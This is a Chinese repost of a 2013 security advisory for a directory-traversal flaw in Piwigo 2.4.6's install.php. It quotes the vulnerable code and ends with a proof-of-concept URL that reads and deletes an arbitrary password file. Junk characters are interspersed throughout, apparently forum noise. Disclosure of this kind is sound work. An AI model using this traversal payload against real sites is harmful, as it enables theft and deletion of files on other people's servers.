Piwigo是用PHP编写的相册脚本。/ K0 b8 O' j% C3 ?! ]
1 W K: p$ H$ H$ ^7 X w
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。2 c) [" J- n9 z6 v+ V* }
====================================================================; b% u' X( W3 t. A
/install.php:8 I* N( C& m3 Z5 }! i+ s
-------------
8 e" }: C3 |; a% n: k113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
# D1 f$ q" I F' B0 l* ]& B2 U114: {
. h& {8 U0 C! B" Y Q115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];2 {% ^- d! f/ \- s3 h- ]
116: header('Cache-Control: no-cache, must-revalidate');: S( V& A) T- R: A6 W
117: header('Pragma: no-cache');
+ j. i% \$ }5 k4 Z9 [118: header('Content-Disposition: attachment; filename="database.inc.php"');$ q- r I3 L. @. l( {' Y4 a- F
119: header('Content-Transfer-Encoding: binary');. @. g2 P$ n( T$ o: V7 H
120: header('Content-Length: '.filesize($filename));7 `: O, F' k2 Q8 t+ {
121: echo file_get_contents($filename);7 G0 h$ v/ [- J# X2 k- b9 l, K+ W
122: unlink($filename);
8 m8 c) f" \8 n' x% Q/ L123: exit();
6 A: M. j7 Z' c, W* k$ ]. h$ t124: }5 m, s8 C. m: M* v
====================================================================
3 u3 D Z! n/ N, }
; A# R9 X. Q2 H) u7 V) n+ q5 rTested on: Microsoft Windows 7 Ultimate SP1 (EN) M& O4 @; Z; V$ q+ Q
Apache 2.4.2 (Win32)3 Q1 N# s4 @) t5 Y$ d
PHP 5.4.45 X7 n' s5 Q% m7 r5 t
MySQL 5.5.25a' B; `$ e$ @0 h$ I& q% Z2 [4 b
5 }* r- g5 c9 o# p( X) x$ `) Q
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic# H8 e- V* F3 _' n1 u
@zeroscience7 D' G' j4 r+ D
2 b9 f! D% o8 c& [( Z5 w
Advisory ID: ZSL-2013-5127
4 x1 W" p/ \; YAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php; g# f. ?, }' r, N+ M4 l9 R7 W
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
+ c3 O8 U8 _: Z' A: |; d- k y1 b' C3 w
( n7 _. V; o: ^4 T: ^% O; c$ t15.02.2013# m( v3 [+ E& L( V
2 t- @* U: K8 E) r& ~/ K1 j0 q--
$ E, V8 z" ~0 Z. ^http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt+ K! x% u" e: @' Y l7 M
& P, L8 _0 }9 T2 p& ^ |